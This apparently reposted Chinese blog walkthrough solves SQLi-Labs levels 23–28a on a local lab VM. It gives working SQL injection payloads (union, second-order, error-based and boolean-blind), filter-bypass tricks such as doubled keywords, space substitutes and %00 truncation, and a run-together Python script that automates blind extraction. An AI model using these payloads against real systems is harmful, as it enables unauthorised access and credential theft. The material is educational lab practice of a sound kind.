《SQLi-Labs》04. Less 23~28a

2023-10-19 22:44
文章标签 23 04 labs sqli less 28a

本文主要是介绍《SQLi-Labs》04. Less 23~28a,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!


title: 《SQLi-Labs》04. Less 23~28a
date: 2023-10-19 19:37:40
updated: 2023-10-19 19:38:40
categories: WriteUp:Security-Lab
excerpt: 联合注入,注释符过滤绕过之构造闭合,%00 截断、二次注入、报错注入,空格过滤绕过,双写绕过、布尔盲注。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs

  • 索引
  • Less-23
    • 题解
  • Less-24
    • 题解
    • 总结
  • Less-25
    • 题解
  • Less-25a
    • 题解
  • Less-26
    • 题解
    • 总结
  • Less-26a
    • 题解
  • Less-27
    • 题解
  • Less-27a
    • 题解
  • Less-28
    • 题解
  • Less-28a
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-23:联合注入,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-24:二次注入。字符型【'】。
  • Less-25:联合注入,与 Less-23 思路一致。双写绕过。字符型【'】。
  • Less-25a:与 Less-25 差别不大。数字型。
  • Less-26:报错注入,空格过滤绕过,双写绕过,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-26a:与 Less-26 类似,布尔盲注。字符型【')】。
  • Less-27:与 Less-26 类似,报错注入。字符型【'】。
  • Less-27a:与 Less-27 类似,联合注入。字符型【"】。
  • Less-28:与前面几题都类似,联合注入。字符型【')】。
  • Less-28a:与 Less-28 不能说完全相同,只能说一模一样。

Less-23

思路与 Less1 一致。

题解

在这里插入图片描述

Less-23 和 Less-1 很像啊。只不过注释符不再起作用了,猜测注释符被过滤了。

不过可以通过构造闭合语句来使用联合注入。

构造闭合

url + ?id=1' or '1'='1

在这里插入图片描述

判断回显位

url + ?id=1' union select 1,2'
url + ?id=1' union select 1,2,3'
url + ?id=1' union select 1,2,3,4'

以上语句也可使用 %00 截断。

?id=1' union select 1,2,3,4; %00

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1

另一种写法(使用 %00 截断):

url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00

爆表

url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆字段

url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

获取敏感数据

url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1

Less-24

在这里插入图片描述

题解

这题可以使用 name:Dumb,Password:Dumb 登录。

在这里出现了传说中的二次注入。另外,这关的目标是获得 admin 用户的权限。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

先直接看过程与分析吧。

先点击注册用户,注册 admin,提示用户已存在。

那就注册一个用户 admin'#,密码随便。

注册之后可以看到注册的用户已插入数据库。

在这里插入图片描述

此时使用 admin'# 用户登录并修改密码,这里修改为 hello6

在这里插入图片描述

修改后再次查看数据库,可以看到 admin'# 用户密码没变,但 admin 用户的密码被更改了。

在这里插入图片描述

admin 密码都能自定义了,权限自然唾手可得了。

任务完成。

最后看看修改密码时发生了什么。看下源码。

在这里插入图片描述

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于信任数据库存放的信息,用户名代入时未作过滤。

所以代入以上构造的数据时 SQL 语句就是:

$sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' ";

语句注释后就成了修改 admin 用户密码的操作。

总结

二次注入:将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

Less-25

题解

根据提示,先测试一下:

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3  or '1'='1

在这里插入图片描述

“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。

也可以使用 ||&&

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-25a

题解

这题与 Less-25 没什么两样,区别在于是数字型注入,且数据库报错信息被过滤了一些。

爆库

url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-26

题解

测试一下。

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

这一关过滤了注释符、空格、or、and。

“ or ” 的过滤可以双写绕过,注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。

这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。

补充一下空格绕过的方法,可以用以下字符代替:

%09    TAB 键(水平)
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键(垂直)
%a0    空格

不过由于平台问题以上绕过 Apache 解析不了,所以也可以通过灵活使用括号【(】来绕过空格。

判断字符类型

url + ?id=1'              报错
url + ?id=1'oorr'1'='1    回显正常
url + ?id=1';%00          回显正常

在这里插入图片描述

为单引号字符型。

判断回显位

url + ?id=1'union(select(1));%00            报错
url + ?id=1'union(select(1),(2));%00        报错
url + ?id=1'union(select(1),(2),(3));%00    回显正常

不过报错注入空格使用比较少,所以直接上报错注入。

爆表

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1

爆字段

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆敏感信息

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

总结

  • 报错注入,详情参考 Less-17。
  • 空格过滤绕过。
  • 双写绕过。
  • 构造闭合绕过。

Less-26a

题解

这题与 Less-26 类似,但是不显示报错信息,使用布尔盲注。

爆表

url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0
url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),2,1))>100,1,0)||('0
...

爆字段

url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0

爆敏感信息

url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0

这里附上一个布尔盲注自动化脚本:

import requestsurl = "http://192.168.8.222/lab/sqli/Less-26a/"result = ''
i = 0while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1# payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()&&table_name="users")),{i},1))>{mid},1,0)%23'# payload = f'if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'data = {'id': f"100')||{payload}||('0"}r = requests.get(url,params=data)if "Dumb" in r.text:head = mid + 1else:tail = midif head != 32:result += chr(head)else:breakprint(result)

Less-27

题解

Less-27 没有过滤 and 和 or,过滤了 select 和 union,不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多

这里直接上报错注入。

爆表

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0

爆字段

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0

爆敏感信息

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0

Less-27a

题解

与 Less-27 类似,但是不返回报错信息。

爆字段

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆敏感信息

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1
# 爆所有信息似乎有问题,只能通过 id 遍历。
url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Awhere%0Aid=1%0Aand"1

Less-28

题解

字符型【')】。过滤替换了一次 union select。依旧双写绕过。

爆表

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆字段

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆敏感数据

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1

Less-28a

题解

字符型【')】。只过滤替换了一次 union select,其他的没有过滤。

那就直接和 Less-28 一样了。其他方法这里就不尝试了。


谦,美德也,过谦者怀诈。默,懿行也,过默者藏奸。

——《格言联璧》(清)金缨

这篇关于《SQLi-Labs》04. Less 23~28a的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/242845

相关文章

安卓链接正常显示,ios#符被转义%23导致链接访问404

原因分析: url中含有特殊字符 中文未编码 都有可能导致URL转换失败,所以需要对url编码处理  如下: guard let allowUrl = webUrl.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed) else {return} 后面发现当url中有#号时,会被误伤转义为%23,导致链接无法访问

取得 Git 仓库 —— Git 学习笔记 04

取得 Git 仓库 —— Git 学习笔记 04 我认为, Git 的学习分为两大块:一是工作区、索引、本地版本库之间的交互;二是本地版本库和远程版本库之间的交互。第一块是基础,第二块是难点。 下面,我们就围绕着第一部分内容来学习,先不考虑远程仓库,只考虑本地仓库。 怎样取得项目的 Git 仓库? 有两种取得 Git 项目仓库的方法。第一种是在本地创建一个新的仓库,第二种是把其他地方的某个

前端技术(七)——less 教程

一、less简介 1. less是什么? less是一种动态样式语言,属于css预处理器的范畴,它扩展了CSS语言,增加了变量、Mixin、函数等特性,使CSS 更易维护和扩展LESS 既可以在 客户端 上运行 ,也可以借助Node.js在服务端运行。 less的中文官网:https://lesscss.cn/ 2. less编译工具 koala 官网 http://koala-app.

浙大数据结构:04-树7 二叉搜索树的操作集

这道题答案都在PPT上,所以先学会再写的话并不难。 1、BinTree Insert( BinTree BST, ElementType X ) 递归实现,小就进左子树,大就进右子树。 为空就新建结点插入。 BinTree Insert( BinTree BST, ElementType X ){if(!BST){BST=(BinTree)malloc(sizeof(struct TNo

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

读软件设计的要素04概念的关系

1. 概念的关系 1.1. 概念是独立的,彼此间无须相互依赖 1.1.1. 一个概念是应该独立地被理解、设计和实现的 1.1.2. 独立性是概念的简单性和可重用性的关键 1.2. 软件存在依赖性 1.2.1. 不是说一个概念需要依赖另一个概念才能正确运行 1.2.2. 只有当一个概念存在时,包含另一个概念才有意义 1.3. 概念依赖关系图简要概括了软件的概念和概念存在的理

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

华为23年笔试题

消息传输 题目描述 在给定的 m x n (1 <= m, n <= 1000) 网格地图 grid 中,分布着一些信号塔,用于区域间通信。 每个单元格可以有以下三种状态:  值 0 代表空地,无法传递信号;  值 1 代表信号塔 A,在收到消息后,信号塔 A 可以在 1ms 后将信号发送给上下左右四个方向的信号塔; 值 2 代表信号塔 B,在收到消息后,信号塔 B 可以在 2ms

[苍穹外卖]-04菜品管理接口开发

效果预览 新增菜品 需求分析 查看产品原型分析需求, 包括用到哪些接口, 业务的限制规则 业务规则 菜品名称必须是唯一的菜品必须属于某个分类下, 不能单独存在新增菜品时可以根据情况选择菜品的口味每个菜品必须对应一张图片 接口设计 根据类型查询分类接口 文件上传接口 新增菜品接口 数据表设计 设计dish菜品表 和 dish_fl

【动手学深度学习】04 数据操作 + 数据预处理(个人向笔记)

数据操作 N维数组是机器学习和神经网络的主要数据结构其中 2-d 矩阵中每一行表示每一行表示一个样本 当维度来到三维的时候则可以表示成一张图片,再加一维就可以变成多张图片,再加一维则可以变成一个视频 访问元素 冒号表示从冒号左边的元素到冒号右边的前一个元素(开区间),其中如果左边为空,那么表示从第一个开始,如果右边为空,那么表示访问到最后一个,如果两边都为空,则表示全部访问其中一行中我们指